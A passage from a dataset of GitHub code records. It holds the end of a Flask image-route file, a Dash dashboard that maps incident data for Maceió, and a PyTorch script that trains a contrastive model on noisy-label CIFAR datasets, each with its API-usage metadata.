400\n\n    url = upload[\"url\"]\n    # flask_login allows us to get the current user from the request\n    new_game_image = Image(image=url, user_id=current_user.id, game_id=id)\n    db.session.add(new_game_image)\n    db.session.commit()\n    return new_game_image.to_dict()\n\n\n@image_routes.route('/game/<int:id>')\ndef get_all_images_for_game(id):\n    games_images = Image.query.filter_by(game_id=id).all()\n    return {\"game_images\":[img.to_dict() for img in games_images]}\n\n# delete specific game image\n@image_routes.route('/game/<int:id>/images/<int:photoId>', methods=[\"DELETE\"])\ndef delete_one_game_image(id, photoId):\n    game_image = Image.query.filter(Image.id == photoId and Image.game_id == id).delete()\n    db.session.commit()\n    return \"deleted image\"\n", "repo_name": "Cmizell186/vapor", "sub_path": "app/api/image_routes.py", "file_name": "image_routes.py", "file_ext": "py", "file_size_in_byte": 2989, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Blueprint", "line_number": 8, "usage_type": "call"}, {"api_name": "app.models.UserImage.query.all", "line_number": 13, "usage_type": "call"}, {"api_name": "app.models.UserImage.query", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.models.UserImage", "line_number": 13, "usage_type": "name"}, {"api_name": "app.models.UserImage.query.filter_by", "line_number": 19, "usage_type": "call"}, {"api_name": "app.models.UserImage.query", "line_number": 19, "usage_type": "attribute"}, {"api_name": "app.models.UserImage", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "app.s3config.allowed_file", "line_number": 32, "usage_type": "call"}, {"api_name": "app.s3config.get_unique_filename", "line_number": 35, "usage_type": "call"}, {"api_name": "app.s3config.upload_file_to_s3", "line_number": 37, "usage_type": "call"}, {"api_name": "app.models.UserImage.query.filter", "line_number": 46, "usage_type": "call"}, {"api_name": "app.models.UserImage.query", "line_number": 46, "usage_type": "attribute"}, {"api_name": "app.models.UserImage", "line_number": 46, "usage_type": "name"}, {"api_name": "app.models.UserImage.user_id", "line_number": 46, "usage_type": "attribute"}, {"api_name": "app.models.db.session.commit", "line_number": 49, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 49, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "app.s3config.allowed_file", "line_number": 62, "usage_type": "call"}, {"api_name": "app.s3config.get_unique_filename", "line_number": 65, "usage_type": "call"}, {"api_name": "app.s3config.upload_file_to_s3", "line_number": 67, "usage_type": "call"}, {"api_name": "app.models.Image", "line_number": 77, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 77, "usage_type": "name"}, {"api_name": "app.models.db.session.add", "line_number": 78, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 78, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 78, "usage_type": "name"}, {"api_name": "app.models.db.session.commit", "line_number": 79, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 79, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 79, "usage_type": "name"}, {"api_name": "app.models.Image.query.filter_by", "line_number": 85, "usage_type": "call"}, {"api_name": "app.models.Image.query", "line_number": 85, "usage_type": "attribute"}, {"api_name": "app.models.Image", "line_number": 85, "usage_type": "name"}, {"api_name": "app.models.Image.query.filter", "line_number": 91, "usage_type": "call"}, {"api_name": "app.models.Image.query", "line_number": 91, "usage_type": "attribute"}, {"api_name": "app.models.Image", "line_number": 91, "usage_type": "name"}, {"api_name": "app.models.Image.id", "line_number": 91, "usage_type": "attribute"}, {"api_name": "app.models.Image.game_id", "line_number": 91, "usage_type": "attribute"}, {"api_name": "app.models.db.session.commit", "line_number": 92, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 92, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 92, "usage_type": "name"}]}
{"seq_id": "73550272265", "text": "from dash import html, dcc\nfrom dash.dependencies import Input, Output\nimport pandas as pd\nimport dash_bootstrap_components as dbc\nimport plotly.express as px\nimport plotly.graph_objects as go\n\nfrom _controllers import *\nfrom _map import *\nfrom _histogram import *\n\nfrom app import app\n\nserver = app.server\n\napp.layout = dbc.Container([\n    dbc.Row([\n        dbc.Col([controller], md=3),\n        dbc.Col([map, hist], md=9)\n    ])\n], fluid=True)\n\n\n# ==============\n# Callbacks\n# ==============\n@app.callback(\n        Output(\"hist\", \"figure\"),\n        Output(\"map\", \"figure\"),\n        Input(\"bairro\", \"value\"),\n        Input(\"gravidade\", \"value\"),\n        Input(\"ocorrencia\", \"value\")\n)\ndef update_hist(bairro, grav, ocorrencia):\n    # Tratamentos \n    df_dto = df.copy()\n    g_factor = 3\n    df_dto[[\"latitude\", \"longitude\"]] = df_dto[\"Localização\"].str.split(\",\", expand=True)\n    df_dto[\"latitude\"] = df_dto[\"latitude\"].astype(float)\n    df_dto[\"longitude\"] = df_dto[\"longitude\"].astype(float)\n    \n    def remover_outliers(df_dto):\n        df = df_dto.copy()\n        # Outliers de latitude\n        df = df[df[\"latitude\"] <= -9.480295]\n        df = df[df[\"latitude\"] >= -9.753285]\n        # Outliers de longitude\n        df = df[df[\"longitude\"] <= -35.69725]\n        df = df[df[\"longitude\"] >= -35.95904]\n\n        return df\n    \n    df_dto = remover_outliers(df_dto)\n\n    \n    if bairro is not None:\n        if bairro != \"Todos\":\n            df_dto = df_dto[df_dto[\"Bairro\"] == bairro]\n\n    if ocorrencia is not None:\n        if ocorrencia != \"Todos\":\n            df_dto = df_dto[df_dto[\"Tipo de Ocorrência\"] == ocorrencia]\n\n    df_dto[\"Gravidade\"] = df_dto.apply(mapear_gravidade, axis=1)\n    if grav is not None:\n        if grav == \"Grave\":\n            g_factor = 3\n        elif grav == \"Média\":\n            g_factor = 2\n        else:\n            g_factor = 1\n        print(g_factor)\n        df_dto = df_dto[df_dto[\"Gravidade\"] == g_factor]\n        \n    # Histograma\n    hist_fig = px.histogram(df_dto, x=\"Tipo de Ocorrência\", opacity=.75)\n    hist_layout = go.Layout(\n        margin=go.layout.Margin(l=10, r=0, t=0, b=50),\n        showlegend=False,\n        template=\"plotly_dark\",\n        paper_bgcolor=\"rgba(0, 0, 0, 0)\"\n    )\n    hist_fig.layout = hist_layout \n\n    # Mapa\n    px.set_mapbox_access_token(open(\"keys/mapbox_key\").read())\n\n    \n    # Ponto zero de Maceió\n    mean_lat, mean_lon = -9.665328194281061, -35.73591296335011\n        \n    \n    map_fig = px.scatter_mapbox(df_dto, lat=\"latitude\", lon=\"longitude\", size=\"Gravidade\", zoom=10, opacity=.4)\n    map_fig.update_layout(mapbox=dict(center=go.layout.mapbox.Center(lat=mean_lat, lon=mean_lon)),\n            template=\"plotly_dark\", paper_bgcolor=\"rgba(0, 0, 0, 0)\",\n            margin=go.layout.Margin(l=10, r=10, t=10, b=10))\n\n    return hist_fig, map_fig\n\nif __name__ == \"__main__\":\n    app.run_server(debug=False)", "repo_name": "GPereira2609/vis_comput", "sub_path": "index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 2890, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.app.server", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 14, "usage_type": "name"}, {"api_name": "app.app.layout", "line_number": 16, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 16, "usage_type": "name"}, {"api_name": "dash_bootstrap_components.Container", "line_number": 16, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 17, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 18, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 19, "usage_type": "call"}, {"api_name": "plotly.express.histogram", "line_number": 76, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 76, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Layout", "line_number": 77, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 77, "usage_type": "name"}, {"api_name": "plotly.graph_objects.layout.Margin", "line_number": 78, "usage_type": "call"}, {"api_name": "plotly.graph_objects.layout", "line_number": 78, "usage_type": "attribute"}, {"api_name": "plotly.graph_objects", "line_number": 78, "usage_type": "name"}, {"api_name": "plotly.express.set_mapbox_access_token", "line_number": 86, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 86, "usage_type": "name"}, {"api_name": "plotly.express.scatter_mapbox", "line_number": 93, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 93, "usage_type": "name"}, {"api_name": "plotly.graph_objects.layout.mapbox.Center", "line_number": 94, "usage_type": "call"}, {"api_name": "plotly.graph_objects.layout", "line_number": 94, "usage_type": "attribute"}, {"api_name": "plotly.graph_objects", "line_number": 94, "usage_type": "name"}, {"api_name": "plotly.graph_objects.layout.Margin", "line_number": 96, "usage_type": "call"}, {"api_name": "plotly.graph_objects.layout", "line_number": 96, "usage_type": "attribute"}, {"api_name": "plotly.graph_objects", "line_number": 96, "usage_type": "name"}, {"api_name": "app.app.callback", "line_number": 27, "usage_type": "call"}, {"api_name": "app.app", "line_number": 27, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 28, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 29, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 30, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 31, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 32, "usage_type": "call"}, {"api_name": "app.app.run_server", "line_number": 101, "usage_type": "call"}, {"api_name": "app.app", "line_number": 101, "usage_type": "name"}]}
{"seq_id": "29693386947", "text": "import argparse\nimport time\nimport math\nfrom os import path, makedirs\nimport numpy as np\nimport torch\nfrom torch import optim\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torch.backends import cudnn\nfrom torchvision import datasets\nfrom torchvision import transforms\nimport copy\nimport torch.nn as nn\nfrom simsiam.model_factory import SimSiam\n\n\nfrom loader import CIFAR10N, CIFAR100N\nfrom utils import adjust_learning_rate, AverageMeter, ProgressMeter, save_checkpoint, accuracy, load_checkpoint, ThreeCropsTransform\n\n\nparser = argparse.ArgumentParser('arguments for training')\nparser.add_argument('--data_root', default='~/data', type=str, help='path to dataset directory')\nparser.add_argument('--exp_dir', default='./save', type=str, help='path to experiment directory')\nparser.add_argument('--dataset', default='cifar10', type=str, help='path to dataset', choices=[\"cifar10\", \"cifar100\"])\nparser.add_argument('--noise_type', default='sym', type=str, help='noise type: sym or asym', choices=[\"sym\", \"asym\"])\nparser.add_argument('--r', type=float, default=0.8, help='noise level')\nparser.add_argument('--trial', type=str, default='1', help='trial id')\nparser.add_argument('--img_dim', default=32, type=int)\n\nparser.add_argument('--arch', default='resnet18', help='model name is used for training')\nparser.add_argument('--batch_size', type=int, default=256, help='batch_size')\nparser.add_argument('--num_workers', type=int, default=8, help='num of workers to use')\nparser.add_argument('--epochs', type=int, default=550, help='number of training epochs')\n\nparser.add_argument('--print_freq', default=100, type=int, help='print frequency')\nparser.add_argument('--m', type=float, default=0.99, help='moving average of probbility outputs')\nparser.add_argument('--tau', type=float, default=0.8, help='contrastive threshold (tau)')\nparser.add_argument('--lr', type=float, default=0.02, help='learning rate')\nparser.add_argument('--weight_decay', type=float, default=5e-4, help='weight decay')\nparser.add_argument('--momentum', type=float, default=0.9, help='momentum')\n\nparser.add_argument('--lamb', default=50.0, type=float, help='lambda for contrastive regularization term')\nparser.add_argument('--type', default='ce', type=str, help='ce or gce loss', choices=[\"ce\", \"gce\"])\nparser.add_argument('--beta', default=0.6, type=float, help='gce parameter')\nparser.add_argument('--seed', default=123)\nparser.add_argument('--gpu', default=0, type=int, help='GPU id to use.')\n\nargs = parser.parse_args()\nimport random\nrandom.seed(args.seed)\ntorch.manual_seed(args.seed)\ntorch.cuda.manual_seed_all(args.seed)\nif args.dataset == 'cifar10':\n    args.nb_classes = 10\nelif args.dataset == 'cifar100':\n    args.nb_classes = 100\n\n\nclass GCE_loss(nn.Module):\n    def __init__(self, q=0.8):\n        super(GCE_loss, self).__init__()\n        self.q = q\n\n    def forward(self, outputs, targets):\n        targets = torch.zeros(targets.size(0), args.nb_classes).cuda().scatter_(1, targets.view(-1, 1), 1)\n        pred = F.softmax(outputs, dim=1)\n        pred_y = torch.sum(targets * pred, dim=1)\n        pred_y = torch.clamp(pred_y, 1e-4)\n        final_loss = torch.mean((1.0 - pred_y ** self.q) / self.q, dim=0)\n        return final_loss\n\n\nif args.type == 'ce':\n    criterion = nn.CrossEntropyLoss()\nelse:\n    criterion = GCE_loss(args.beta)\n\n\ndef set_model(args):\n    model = SimSiam(args.m, args)\n    model.cuda()\n    return model\n\n\n\ndef set_loader(args):\n    if args.dataset == 'cifar10':\n        train_transforms = transforms.Compose([\n            transforms.RandomResizedCrop(args.img_dim, scale=(0.2, 1.)),\n            transforms.RandomHorizontalFlip(),\n            transforms.RandomApply([\n                transforms.ColorJitter(0.4, 0.4, 0.4, 0.1)\n            ], p=0.8),\n            transforms.RandomGrayscale(p=0.2),\n            transforms.ToTensor(),\n            transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010))\n        ])\n\n        train_cls_transformcon = transforms.Compose([\n            transforms.RandomResizedCrop(32),\n            transforms.RandomHorizontalFlip(),\n            transforms.ToTensor(),\n            transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010])])\n\n        test_transform = transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010])])\n\n        train_set = CIFAR10N(root=args.data_root,\n                             transform=ThreeCropsTransform(train_transforms, train_cls_transformcon),\n                             noise_type=args.noise_type,\n                             r=args.r)\n\n        val_set = copy.deepcopy(train_set)\n        val_set.transform = test_transform\n        val_loader = DataLoader(dataset=val_set,\n                                batch_size=128,\n                                shuffle=False,\n                                num_workers=args.num_workers)\n\n        test_data = datasets.CIFAR10(root=args.data_root, train=False, transform=test_transform, download=True)\n\n        train_loader = DataLoader(dataset=train_set,\n                                  batch_size=args.batch_size,\n                                  shuffle=True,\n                                  num_workers=args.num_workers,\n                                  pin_memory=True,\n                                  drop_last=True)\n\n        test_loader = DataLoader(test_data, batch_size=128, shuffle=False, num_workers=args.num_workers,\n                                 pin_memory=True)\n    elif args.dataset == 'cifar100':\n        train_transforms = transforms.Compose([\n            transforms.RandomResizedCrop(args.img_dim, scale=(0.2, 1.)),\n            transforms.RandomHorizontalFlip(),\n            transforms.RandomApply([\n                transforms.ColorJitter(0.4, 0.4, 0.4, 0.1)\n            ], p=0.8),\n            transforms.RandomGrayscale(p=0.2),\n            transforms.ToTensor(),\n            transforms.Normalize((0.5071, 0.4865, 0.4409), (0.267, 0.256, 0.276))\n        ])\n\n        train_cls_transformcon = transforms.Compose([\n            transforms.RandomResizedCrop(32),\n            transforms.RandomHorizontalFlip(),\n            transforms.ToTensor(),\n            transforms.Normalize([0.5071, 0.4865, 0.4409], [0.267, 0.256, 0.276])])\n\n        test_transform = transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize([0.5071, 0.4865, 0.4409], [0.267, 0.256, 0.276])])\n\n        train_set = CIFAR100N(root=args.data_root,\n                              transform=ThreeCropsTransform(train_transforms, train_cls_transformcon),\n                              noise_type=args.noise_type,\n                              r=args.r)\n\n        val_set = copy.deepcopy(train_set)\n        val_set.transform = test_transform\n        val_loader = DataLoader(dataset=val_set,\n                                batch_size=128,\n                                shuffle=False,\n                                num_workers=args.num_workers)\n\n        test_data = datasets.CIFAR100(root=args.data_root, train=False, transform=test_transform, download=True)\n\n        train_loader = DataLoader(dataset=train_set,\n                                  batch_size=args.batch_size,\n                                  shuffle=True,\n                                  num_workers=args.num_workers,\n                                  pin_memory=True,\n                                  drop_last=True)\n\n        test_loader = DataLoader(test_data, batch_size=128, shuffle=False, num_workers=args.num_workers,\n                                 pin_memory=True)\n\n    return train_loader, test_loader\n\n\n\ndef train(train_loader, model, criterion, optimizer, epoch,  args):\n    batch_time = AverageMeter('Time', ':6.3f')\n    losses = AverageMeter('Loss', ':.4e')\n    progress = ProgressMeter(\n        len(train_loader),\n        [batch_time, losses],\n        prefix=\"Epoch: [{}]\".format(epoch))\n\n    model.train()\n\n    end = time.time()\n    for i, (images, targets, _, index) in enumerate(train_loader):\n        bsz = targets.size(0)\n\n        if args.gpu is not None:\n            images[0] = images[0].cuda(args.gpu, non_blocking=True)\n            images[1] = images[1].cuda(args.gpu, non_blocking=True)\n            images[2] = images[2].cuda(args.gpu, non_blocking=True)\n            targets = targets.cuda(args.gpu, non_blocking=True)\n        # compute output\n        p1, z2, outputs = model(images[0], images[1], images[2])\n\n\n        # avoid collapsing and gradient explosion\n        p1 = torch.clamp(p1, 1e-4, 1.0 - 1e-4)\n        z2 = torch.clamp(z2, 1e-4, 1.0 - 1e-4)\n\n        contrast_1 = torch.matmul(p1, z2.t())  # B X B\n\n\n        # <q,z> + log(1-<q,z>)\n        contrast_1 = -contrast_1*torch.zeros(bsz, bsz).fill_diagonal_(1).cuda() + ((1-contrast_1).log()) * torch.ones(bsz, bsz).fill_diagonal_(0).cuda()\n        contrast_logits = 2 + contrast_1\n\n\n        soft_targets = torch.softmax(outputs, dim=1)\n        contrast_mask = torch.matmul(soft_targets, soft_targets.t()).clone().detach()\n        contrast_mask.fill_diagonal_(1)\n        pos_mask = (contrast_mask >= args.tau).float()\n        contrast_mask = contrast_mask * pos_mask\n        contrast_mask = contrast_mask / contrast_mask.sum(1, keepdim=True)\n        loss_ctr = (contrast_logits * contrast_mask).sum(dim=1).mean(0)\n\n        loss_ce = criterion(outputs, targets)\n\n\n        loss = args.lamb*loss_ctr + loss_ce\n\n        # compute gradient and do SGD step\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n\n        # measure elapsed time\n        losses.update(loss.item(), images[0].size(0))\n        batch_time.update(time.time() - end)\n        end = time.time()\n\n        # if i % args.print_freq == 0:\n        #     progress.display(i)\n\n    return losses.avg\n\n\n\n\ndef validation(test_loader, model, epoch, args):\n    batch_time = AverageMeter('Time', ':6.3f')\n    acc = AverageMeter('Loss', ':.4e')\n\n    model.eval()\n    end = time.time()\n    with torch.no_grad():\n        for i, (images, targets) in enumerate(test_loader):\n            if args.gpu is not None:\n                images = images.cuda(args.gpu, non_blocking=True)\n                targets = targets.cuda(args.gpu, non_blocking=True)\n                # targets = targets.cuda(args.gpu, non_blocking=True)\n            # compute output\n            outputs = model.forward_test(images)\n            acc2 = accuracy(outputs, targets, topk=(1,))\n\n            # measure elapsed time\n            acc.update(acc2[0].item(), images[0].size(0))\n            batch_time.update(time.time() - end)\n            end = time.time()\n\n    return acc.avg\n\n\ndef main():\n    print(vars(args))\n\n    train_loader, test_loader = set_loader(args)\n\n    model = set_model(args)\n\n\n    optimizer = optim.SGD(model.parameters(),\n                          lr=args.lr,\n                          momentum=args.momentum,\n                          weight_decay=args.weight_decay)\n\n\n    if args.gpu is not None:\n        torch.cuda.set_device(args.gpu)\n        cudnn.benchmark = True\n\n    start_epoch = 0\n\n\n    # routine\n    best_acc = 0.0\n\n    for epoch in range(start_epoch, args.epochs):\n        epoch_optim = epoch\n\n        adjust_learning_rate(optimizer, epoch_optim, args)\n        print(\"Training...\")\n\n        # train for one epoch\n        time0 = time.time()\n        train_loss = train(train_loader, model, criterion, optimizer, epoch, args)\n        print(\"Train \\tEpoch:{}/{}\\ttime: {}\\tLoss: {}\".format(epoch, args.epochs, time.time()-time0, train_loss))\n\n        time0 = time.time()\n        val_top1_acc = validation(test_loader, model, epoch, args)\n        print(\"Test\\tEpoch:{}/{}\\t time: {}\\tAcc: {}\".format(epoch, args.epochs, time.time()-time0, val_top1_acc))\n        best_acc = max(best_acc, val_top1_acc)\n\n        # scheduler.step()\n\n\n    with open('log.txt', 'a') as f:\n        if args.type == 'ce':\n            f.write('dataset: {}\\t noise_type: {}\\t noise_ratio: {} \\tlamb: {}\\t tau: {}\\t type: ce \\t seed: {} \\t best_acc: {}\\tlast_acc: {}\\n'.format(args.dataset, args.noise_type, args.r, args.lamb, args.tau, args.seed, best_acc, val_top1_acc))\n        elif args.type == 'gce':\n            f.write('dataset: {}\\t noise_type: {}\\t noise_ratio: {} \\tlamb: {}\\t tau: {}\\t type: gce \\t beta:{}\\t seed: {} \\t best_acc: {}\\tlast_acc: {}\\n'.format(args.dataset, args.noise_type, args.r, args.lamb, args.tau, args.beta, args.seed, best_acc, val_top1_acc))\n\n\nif __name__ == '__main__':\n    main()\n\n\n\n", "repo_name": "liyi01827/noisy-contrastive", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 12536, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "simsiam.model_factory.SimSiam", "line_number": 82, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 90, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 90, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 91, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 91, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 92, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 92, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomApply", "line_number": 93, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 93, "usage_type": "name"}, {"api_name": "torchvision.transforms.ColorJitter", "line_number": 94, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 94, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomGrayscale", "line_number": 96, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 96, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 97, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 97, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 98, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 98, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 101, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 101, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 102, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 102, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 103, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 103, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 104, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 104, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 105, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 105, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 107, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 107, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 108, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 108, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 109, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 109, "usage_type": "name"}, {"api_name": "loader.CIFAR10N", "line_number": 111, "usage_type": "call"}, {"api_name": "utils.ThreeCropsTransform", "line_number": 112, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 118, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 123, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 123, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 132, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 135, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 135, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 136, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 136, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 137, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 137, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomApply", "line_number": 138, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 138, "usage_type": "name"}, {"api_name": "torchvision.transforms.ColorJitter", "line_number": 139, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 139, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomGrayscale", "line_number": 141, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 141, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 142, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 142, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 143, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 143, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 146, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 146, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 147, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 147, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 148, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 148, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 149, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 149, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 150, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 150, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 152, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 152, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 153, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 153, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 154, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 154, "usage_type": "name"}, {"api_name": "loader.CIFAR100N", "line_number": 156, "usage_type": "call"}, {"api_name": "utils.ThreeCropsTransform", "line_number": 157, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 163, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 168, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 168, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 177, "usage_type": "call"}, {"api_name": "utils.AverageMeter", "line_number": 185, "usage_type": "call"}, {"api_name": "utils.AverageMeter", "line_number": 186, "usage_type": "call"}, {"api_name": "utils.ProgressMeter", "line_number": 187, "usage_type": "call"}, {"api_name": "time.time", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 220, "usage_type": "call"}, {"api_name": "time.time", "line_number": 240, "usage_type": "call"}, {"api_name": "time.time", "line_number": 241, "usage_type": "call"}, {"api_name": "utils.AverageMeter", "line_number": 252, "usage_type": "call"}, {"api_name": "utils.AverageMeter", "line_number": 253, "usage_type": "call"}, {"api_name": "time.time", "line_number": 256, "usage_type": "call"}, {"api_name": 